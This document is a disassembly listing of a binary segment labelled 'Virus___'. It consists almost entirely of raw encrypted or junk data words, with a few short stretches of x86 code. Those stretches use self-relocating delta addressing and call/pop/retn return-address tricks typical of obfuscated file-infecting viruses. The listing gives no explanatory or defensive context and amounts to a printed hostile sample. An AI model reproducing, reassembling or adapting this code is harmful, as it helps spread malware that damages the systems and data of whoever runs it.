0F000000h, 188Ch, 0BE96000h, 65000000h, 4E2855EFh dd 257249CCh, 8D01910Ah, 71B2B05h, 0D59D8D61h, 6A071B32h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 749EC355h, 7011E0DFh, 11E9FE8Bh, 0 dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 0FEFF2381h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 56A975C3h, 0F34A67F0h, 8B666DB6h, 0DB8C66F0h dd 20D1BD8Bh, 0C3F6071Bh, 83840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6442C350h, 34A9B39Ah, 0D0A4F7A9h, 2A0995FFh, 6A071Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8166E9C3h, 90568FF7h, 8E9h, 0F729B700h, 6EDDE124h, 8B66507Bh dd 6A90F8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 81524DC3h, 0F07018EEh, 0F9E95F62h, 0F5000003h dd 0BD2B00B0h, 71B059Dh, 0CE870E6h, 0F0000000h, 54A7423Eh dd 903125C3h, 8BEBEB12h, 1B0A25B5h, 71E45F07h, 1F98B66h dd 1B21A59Dh, 0D8B60F07h, 5830Fh, 28BF0000h, 0BA51D74Eh dd 6, 419BD29h, 0B58B071Bh, 71B03FDh, 14E9C38Bh, 2B000000h dd 2C84572Bh, 8F978D79h, 3DA0730Ah, 0B51C7619h, 0C1F288FCh dd 0F76604E8h, 898529E2h, 2B071B22h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D893E17h dd 71B2C01h, 13BF6693h, 0F88B5067h, 0F1BD8B93h, 0FF071B0Dh dd 1B2BFDB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0F8AC148Bh, 0BC5EEEh, 8995FFF9h dd 6A071B12h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B74C350h, 1B23B1B5h, 6A00B007h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F1AEC350h, 0BE0997Dh, 0E8F59ABEh, 0Bh, 9F3F2B13h dd 38DF3CECh, 66E2FD9Eh, 8B5EF28Bh, 8970E6F3h, 1B2E81BDh dd 19958907h, 0E4071B1Fh, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0B9E89CDAh dd 234BE969h, 1B0475B5h, 0F613C07h, 28383h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 87A39A34h, 0EE8DBh, 0D71A0000h, 782B3EEBh, 0C7421E35h dd 0FE49B0A9h, 3159BD8Bh, 895F071Bh, 1B0A85BDh, 0D8B60F07h dd 77EF8166h, 6BA00h, 6E80000h, 27000000h, 165DF0CCh, 0B5895625h dd 71B0D49h, 0C38B5F5Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 47C35646h, 0C193C79Ch, 6A04E8h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0E1D366C3h, 3051BD8Bh, 0F766071Bh, 6AD82BE2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 5E94C350h, 0C7A47C0Ah, 9F7C932Bh, 33618529h, 6A58071Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8986C356h, 1B2D999Dh, 0FD82B07h, 17F88h dd 0BD896000h, 71B099Dh, 61F98B66h, 7B9h, 0E820F00h, 0E9000000h dd 9, 4E86B0C0h, 0D3D7B2A2h, 0C18380h, 2850Fh, 0FE8B0000h dd 860FD93Bh, 148h, 0F22026BFh, 0D98C6625h, 0F04C1F6h dd 11384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 57E9ED14h, 0E9BD5222h, 12h, 95988612h dd 35DDDED3h, 0A28D7261h, 0C1A11B6Fh, 0E681EB83h, 36B5852Dh dd 2A0995FFh, 0B503071Bh, 71B24D1h, 56006A5Bh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0BE8FCh, 90A60000h dd 4A05C6B1h, 0A31C0469h, 0F0B70F21h, 0C5BD8B5Fh, 2B071B16h dd 10E9C3h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh dd 0B503C15Dh, 71B2A19h, 8343Dh, 69860F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0D617C350h, 0B62E66F5h, 0B7CC7C72h, 26DE8166h dd 0CE9BCh, 0E1590000h, 24B9CDF8h, 0DAA768F3h, 4DE9042Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0A12BC352h, 2E923C71h, 0F781902Ah dd 673949FFh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 95891DC3h, 71B1F75h, 0D88BC38Bh dd 0A6985C7h, 0B9BF071Bh, 8BF9709Eh, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0BE0C1889h dd 0C3958815h, 1FC59D89h, 0BD81071Bh, 71B2BFDh, 7D0h, 59850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0F345E1C3h, 0FA05B63Bh, 9D016C15h, 71B2291h dd 2BFD85FFh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0DF75C0C3h, 28DB2A7Bh, 0CD9D31C4h dd 0FF071B25h, 1B2BFDB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0C671EB10h dd 128995FFh, 0F2BE071Bh, 900EDAB1h, 2C820Fh, 95890000h dd 71B28FDh, 14E8h, 0B26E100h, 77C40754h, 0D943E788h, 111A3B97h dd 0EF32E06Ah, 0A1BD8BD8h, 31071B11h, 1B32C195h, 8B665E07h dd 8B6651F0h, 0BD295EF3h, 71B2231h, 2D51B523h, 810F071Bh dd 5, 136956BEh, 0BF0F6057h, 7E8D3h, 8EA20000h, 8ADDA5DDh dd 615AF548h, 81EBBF66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 1CC35343h, 5E51921Fh, 0B5DAEE81h, 880F369Eh dd 6, 0DC5B589h, 9E9071Bh, 43000000h, 525B23C4h, 81BAB11Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 8BC35040h dd 7B1AC5F4h, 0BE0408C7h, 515DB158h, 14E9h, 0D4FD3000h dd 61626FD3h, 1F1BFD21h, 3817A79Bh, 74F779E6h, 53006AC6h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F7C0E9DAh, 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9E9F21C3h, 8D9B3D5Ah, 6ABF6631h dd 0D6815056h, 378B8E5Eh, 31BE665Fh, 0FEB96072h, 8AFFFFFFh dd 0A58D21E7h, 6A071B17h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 5B5DC355h, 9E93604h dd 1C000000h, 0DDD4E703h, 0EF30223h, 11E9h, 50EA4800h dd 1452232Dh, 0B0A3795h, 87BEEE18h, 8D2150CCh, 71B12E9h dd 128E0Fh, 6E80000h, 0ED000000h, 85F8E9E4h, 39BD09FDh dd 5F071B16h, 17A58D8Bh, 83FC071Bh, 850F01E1h, 22h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 17C35141h, 35E98D89h dd 8D8B071Bh, 71B12E9h, 2175B58Bh, 9D8B071Bh, 71B0425h dd 0F01E183h, 585h, 5ED6BA00h, 60613E63h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0F3C35040h, 5B24E14Dh dd 3EF53EADh, 0A1BD8B8Dh, 8A071B33h, 3870FD7h, 66000000h dd 0FEB9F18Bh, 29FFFFFFh, 1B1ACD9Dh, 0B9958B07h, 21071B2Ch dd 1B2D958Dh, 0E5850B07h, 21071B35h, 1B25B98Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0CA81661Ch, 0BB664824h, 8D8B8018h, 71B2D95h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9EC35545h, 4EB8CDF1h dd 6953755Ch, 6800Fh, 85030000h, 71B228Dh, 83F88B66h, 850F01E1h dd 42h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 8BC35646h, 0E78132D7h, 6E80C62Fh, 10E850h, 981E0000h dd 0DC8E93BDh, 8A30F667h, 273F43CDh, 870FABDAh, 0 ; --------------------------------------------------------------------------- pop ebx pop edx mov ecx, [ebp+71B25B9h] mov esi, edx adc al, 0ACh and ecx, 1 jnz loc_57CC33 adc si, 0AD61h loc_57CC33: ; CODE XREF: Virus___:0057CC28j popa pusha mov edx, [ebp+71B116Dh] mov ecx, 0FFFFFFFEh mov ebx, 8CB3AACh and [ebp+71B2B21h], ecx push 0 push ebx call sub_57CC56 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CC56 proc near ; CODE XREF: Virus___:0057CC4Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_57CC56 endp ; --------------------------------------------------------------------------- dw 5D93h dd 4DF57707h, 918D21C3h, 6A071B0Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 78F7C350h dd 0D1CC3621h, 6E9h, 8A2A2800h, 8B2926DFh, 1B2B218Dh, 0DE907h dd 1D7B0000h, 0ECBACA46h, 0E37E4B89h, 89C0F5E0h, 1B2EE9BDh dd 1E18307h, 25850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0F94A75C3h, 4D9589BCh dd 8B071B0Dh, 1B0A918Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0A425CCEAh, 0E810FCEh dd 60000000h, 1435BD0Bh, 8F0F071Bh, 0 ; --------------------------------------------------------------------------- popa and ecx, 1 jnz loc_57CD36 push eax mov esi, [ebp+71B21E1h] pop edi loc_57CD36: ; CODE XREF: Virus___:0057CD28j popa pusha push 0 push edi call sub_57CD43 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CD43 proc near ; CODE XREF: Virus___:0057CD3Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_57CD43 endp ; --------------------------------------------------------------------------- db 0E3h dd 0A3CA39EAh, 0F5BA3837h, 895A0837h, 1B0BC185h, 0FFFEB907h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0A0BD7FC3h, 7D81ABE7h, 0DE8h, 682A1600h dd 0C362B174h, 8908325Bh, 9529B69Fh, 71B2841h, 0D58D215Eh dd 6A071B32h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2ECEC357h, 28A59503h, 8D89071Bh dd 71B28A1h, 0A698D21h, 6A071Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 958B96C3h, 71B2169h dd 2BD98509h, 8D8B071Bh, 71B32D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0B7C35747h, 0E12DAEBEh, 8B0FD404h dd 6, 20C9958Bh, 0E183071Bh, 0C850F01h, 89000000h, 1B26359Dh dd 718D3107h, 8B071B32h, 1B0A698Dh, 68F0F07h, 8B000000h dd 1B2751B5h, 1E18307h, 2B850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 903125C3h dd 6800F12h, 29000000h, 1B2BAD95h, 6A606107h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0BE17C355h, 5645C8D9h, 2BFD85C7h, 7D0071Bh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 297754C3h, 1B33098Dh, 0A9B58907h, 61071B2Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B3C35343h, 0AA32F49h dd 7EB160Fh, 0E99D61h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ABDBC350h dd 2FDB58Bh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 3F6118C3h, 75E9C18Bh, 60000000h dd 0A8D88C66h, 35840F04h, 6A000000h, 5DB5FF01h, 8D071B22h dd 1E7E7A85h, 89D0FF07h, 1B2CE185h, 0C1FE8B07h, 680CEFh dd 6A200400h, 57026A00h, 1000D68h, 0E195FF00h, 0E9071B2Ch dd 32h, 1C0585C6h, 6856071Bh, 0A9C530DFh, 2E11B5FFh, 858D071Bh dd 71E7E7Ah, 8589D0FFh, 71B0059h, 1E95858Dh, 6A50071Bh dd 56056A20h, 5995FFh, 0C361071Bh, 6006E0C1h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 5C01CAC3h, 668D0D56h, 83A443BEh, 1B1BD1BDh, 9750007h dd 1FD5BD83h, 7400071Bh, 8B535019h, 438B8C0h, 85890000h dd 71B2A61h, 0ABB89D8Dh, 0D3FF071Dh, 0BD83585Bh, 71B1FD5h dd 50177400h, 438B853h, 85890000h, 71B2A61h, 0A8A79D8Dh dd 0D3FF071Dh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BAB4DC3h, 1B00858Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8BBAAD9Fh, 1B34E5BDh, 6AC08B07h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B4DCC353h dd 11E98C4Dh, 0AB000000h, 0DC6B4BC4h, 5A595D2h, 0CC1ED797h dd 0AEA485B9h, 3319D89h, 0BD8B071Bh, 71B1489h, 931E8h dd 7E900h, 42B50000h, 0F3E4BF2Ch, 358589A8h, 6A071B22h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0B254C350h, 8FCE869h, 0B9660000h, 7E92635h dd 76000000h, 4A27EF47h, 8589D9B3h, 71B05A1h, 8E1E8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0A03881ECh, 0F68D9E48h, 8589F53Eh, 71B24E1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h, 8A266E4Eh dd 819F5E63h, 3E9CC1DEh, 888E876h, 0BE80000h, 0B8000000h dd 0BFF95F61h, 0E1D7D06Bh, 8D8B3ACEh, 71B1BB1h, 0FD858959h dd 0B071B0Ch, 1B00ED8Dh, 0DE907h, 716A0000h, 4733C637h dd 63FC1642h, 0E80EEEA8h, 84Eh, 0B5BD89h, 0F08B071Bh, 2FC58589h dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0CFE8E2C3h, 0E80379CAh, 81Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F1C35747h, 0C88B66AEh dd 26058589h, 6A071Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9D7D9C3h, 0Bh, 199FD24Eh, 1142F860h dd 0E8F66362h, 7C2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 51C35040h, 896D1782h, 1B258985h, 0CE96007h dd 0FD000000h, 3473DED1h, 932CF6BBh, 0F09A26Fh, 1780h dd 12E900h, 3AC0000h, 0DD70CEF7h, 17DC1EE7h, 2732A817h dd 0DFF1A057h, 768E861h, 6E80000h, 0F2000000h, 0EC499EACh dd 9E946h, 0AC820000h, 570C5FCEh, 599AF7EFh, 2E858589h dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 814545C3h, 701E6EE6h, 720E830h, 8D8B0000h dd 71B2D25h, 0A1D8589h, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0F3E892C3h, 8B000006h dd 1B03118Dh, 31858907h, 6A071B14h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A32C353h dd 9D8955B8h, 71B0C09h, 6BDE8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D8FCE5DAh dd 0DC2A4253h, 0E580FEE3h, 0D858919h, 6A071B0Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 52E7C353h, 0CD1B58Bh, 67E8071Bh, 0F000006h, 8589F7B7h dd 71B09EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0A5C35646h, 0AF1FBFD5h, 0BE6625BFh, 33E82085h dd 6A000006h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 24EDC351h, 85D0A927h, 6518589h dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B38893C3h, 0CE997h, 4F200000h, 0F14443E4h dd 23061DBBh, 0BD0B3E1Dh, 71B2941h, 5D1E8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B0387165h, 897B182Eh, 1B2DE185h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 4731F214h dd 869A29E0h, 2E0D9589h, 0BD89071Bh, 71B21CDh, 18B59D89h dd 6FE8071Bh, 89000005h, 1B11BD95h, 0E9858907h, 6A071B18h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 844AC357h, 0E53AFBF1h, 68E0F1Ch, 8B000000h dd 1B17818Dh, 0E497B907h, 2BE8064Eh, 6A000005h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 2A71C356h, 0BC72F6E9h, 8589C654h, 71B33E5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 2BC35141h, 84E00C7Ah dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 293A3BC3h, 1B329DB5h, 0D8B60F07h, 0E855006Ah dd 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 0F5C35545h, 0BD8B52D9h dd 71B2BB9h, 6BA59h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 6E98EC3h, 25000000h dd 0FEFD82C7h, 0F7816673h, 0C38BAD08h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0AC35646h, 0E9CEAE81h, 8B047E32h dd 1B2E818Dh, 4E8C107h, 24A58D8Bh, 0F766071Bh, 52006AE2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0A9B501F2h, 2B071B0Bh, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 1C89506Dh dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0F562BB50h, 6383794Ah, 995FFE1h, 6A071B2Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 2DA0C356h, 0BE632AB3h, 0C860Fh, 7E90000h dd 0A9000000h, 853EBDC5h, 6A5BB1E3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CBE6C355h dd 0DEDFF242h, 0C88B6631h, 1519958Dh, 6A071Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 5889DBC3h, 6A1A89A7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2CACC352h, 0C53B7881h dd 0E809B6E7h, 0Fh, 0E81B585Dh, 88268C4Eh, 9E1DC3CCh, 59AACFC8h dd 6A044289h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 7CB6C356h, 0EA802F50h, 8973CE58h dd 1B305195h, 7261BE07h, 958D61FBh, 71B2619h, 2D358D89h dd 1A89071Bh, 12118D8Bh, 4289071Bh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 964442DDh dd 8997E74Ch, 9E9CA3Ch, 34000000h, 0C89CBADAh, 0E634F08Dh dd 2835958Dh, 9D89071Bh, 71B2E19h, 6A1A89h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816691C3h dd 89001CC6h, 0BD2B0442h, 71B259Dh, 2D49958Dh, 6A071Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8D8B33C3h, 71B2F49h, 6A1A89h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 428910C3h, 5FF85004h dd 1885958Dh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 9E35F8C3h, 0FC809610h, 38A0Fh, 8B660000h dd 0E91A89CAh, 14h, 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h dd 0C04D20C5h, 496F0043h, 8B044289h, 1B1221BDh, 29958D07h dd 23071B0Eh, 1B18F98Dh, 6A1A8907h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E8F9C356h dd 0CAD46E0Ch, 0AD9589F0h, 89071B1Eh, 6A0442h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0F368FFC3h, 236030ECh, 1B1525BDh, 19958907h, 61071B30h dd 958D1FB5h, 71B09C9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 28C35141h, 9094953Bh, 1F919D89h, 7E9071Bh dd 86000000h, 93D69D08h, 1A899A79h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ABC35545h, 8E9666EDh, 0CBF3D589h dd 0DE919h, 83030000h, 78BB96ADh, 0F3B81825h, 81B9943Ch dd 0AF0CF5C9h, 4428931h, 6870F60h, 8B000000h, 1B291D95h dd 6840F07h, 29000000h, 1B066995h, 85896107h, 71B04E5h dd 5CD958Dh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 75ADB0C3h, 40C57A9Ah, 0BE9B9h, 455A0000h dd 0DE55DD3Eh, 8C1C9FAFh, 21B58BACh, 89071B2Fh, 55006A1Ah dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0E3B2D69Ah, 0FCAA9DF4h, 0B529EB37h, 71B0E01h, 0E9044289h dd 0Ch, 5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 23D19589h, 0C0E9071Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0D1C0C356h, 31B1BD89h, 6A071Bh dd 0D830Fh, 5E80000h, 8000000h, 0DD8D0FC7h, 6A596160h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 5030FCFDh, 0C39D4F3h, 0A4CE8169h, 8902A23Eh dd 1B21D58Dh, 8B006A07h, 1B26E1BDh, 66006A07h, 944FC981h dd 163D95FFh, 6A071Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 63B7ADC3h, 0BF0FD9B5h, 6AC3F2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8A440DC3h, 50006AC5h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 33FF6967h, 0B4B188AEh, 6AC08Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0E76833C3h, 81C3A563h, 576F22E6h, 0D1BD835Eh, 71B1Bh dd 0BD830975h, 71B1FD5h, 50197400h, 0B8C08B53h, 438h, 13118589h dd 9D8D071Bh, 71DAC1Fh, 585BD3FFh, 1FD5BD83h, 7400071Bh dd 0B8535017h, 438h, 13118589h, 9D8D071Bh, 71DA8C0h, 585BD3FFh dd 11818D8Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 909F53C3h, 6E910h, 0EE080000h, 802C9DAEh dd 858DC08Bh, 71B1255h, 22F1BD01h, 5090071Bh, 0E9905B50h dd 0Ah, 0E39300F7h, 7081F4E7h, 6ADCB6h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0DE800D9h dd 0F5000000h, 0B84DA818h, 0A54313CEh, 162391E3h, 6A5BF98Bh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 99679504h, 8DFB8B0Ah, 1F2BF985h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0C0836B48h, 0BA605005h, 2AF7D2A4h, 30681EBBh, 4896141h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0F59B0551h, 54BAE289h, 0DF8166D4h, 0FE9F20Eh dd 67000000h, 62EC2544h, 4756C630h, 2C013A8Fh, 6A6384h dd 14A5BD89h, 6A071Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 3FC35646h, 53C1D1B6h, 771AC9B5h, 2411BD8Bh dd 95FF071Bh, 71B1EA9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0B8C35040h, 0A33DF268h, 8D50FFD0h, 1E979C8Dh dd 7EE38107h, 0FF78766Fh, 2810FD1h, 8A000000h, 5BD83DCh dd 1071B21h, 89850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 599DDDC3h, 6ACF886Fh dd 14E9h, 0A3121800h, 2EBAFC7Fh, 880E05C2h, 3D2F03A4h dd 5DAC87DEh, 0F026A7Ah, 6690FEBFh, 0E950D98Bh, 0Ah, 0B04D103Bh dd 0CEBA1C6Dh, 669039BDh, 0FFA90FBFh, 1B09DD95h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 830CEB1Dh, 58D2B144h, 8B0F26h, 0E9000000h, 0DCBh, 0E8h dd 0ED815D00h, 71F2C03h, 8BFFB70Fh, 1B25719Dh, 2858D07h dd 90071E92h, 9050D98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0D2C35343h, 2B362662h, 599BA930h, 0DE84Dh dd 62BA0000h, 0D42B8AFEh, 0F11EC2B1h, 0E9D5874Dh, 0Eh dd 0A19E14ADh, 1729176Eh, 87DD507Ah, 645F3FA5h, 35FFh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B00EFDC3h, 14447824h, 8964CC97h, 25h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B2FCB720h, 0B491BAA1h, 85FF9CE0h, 71B264Dh, 0DE9h dd 0B262A600h, 61AEAA97h, 0A4C797F5h, 0FF6A9D60h, 2E0DBD0Bh dd 0B5FF071Bh, 71B2235h, 30FD77BBh, 68C0F6Fh, 8B000000h dd 1B1315BDh, 4595FF07h, 0E9071B2Fh, 14Ch, 2401B589h, 0B0071Bh dd 5E56D4BFh, 2B70E602h, 1B09BDBDh, 8971E407h, 1B34A1B5h dd 0F613C07h, 12783h, 7E900h, 0E4BC0000h, 0B075231Eh, 0C8B60F25h dd 0FE9h, 42F9400h, 3744698Ah, 7342D2A3h, 6FEF9FF8h, 6BAh dd 58D8900h, 8B071B2Eh, 9B531C1h, 0C1071B28h, 0E85104E8h dd 8, 5A382B7Eh, 621C7517h, 2F959589h, 5F5F071Bh, 31E2F766h dd 1B33098Dh, 0FC82B07h, 0D781DABFh, 2253B62Eh, 0BD8BD18Bh dd 71B1B75h, 28699D8Bh, 1CE9071Bh, 60000000h, 0E9DE8B66h dd 12h, 6335C7DEh, 0F44E80B3h, 431738DEh, 644E7089h, 8B61BF66h dd 1B151985h, 3FE78107h, 83317F26h, 7E907C0h, 0EA000000h dd 4C9D8E62h, 0BD8BFDB4h, 71B28E1h, 0F800C083h, 830FD03Bh dd 31h, 959D2960h, 0E8071B08h, 0Ah, 0C4C50617h, 0F4F167BDh dd 0C981813Bh, 56F6C9FCh, 45E96159h, 0E9000000h, 9, 35F156F8h dd 0E1E08F6Dh, 0D58D8B81h, 89071B32h, 1B0C09BDh, 1E18307h dd 22840Fh, 0BD890000h, 71B1259h, 32D5A583h, 66FE071Bh dd 8938ACBFh, 1B151995h, 0B59D8B07h, 0E9071B28h, 0 ; 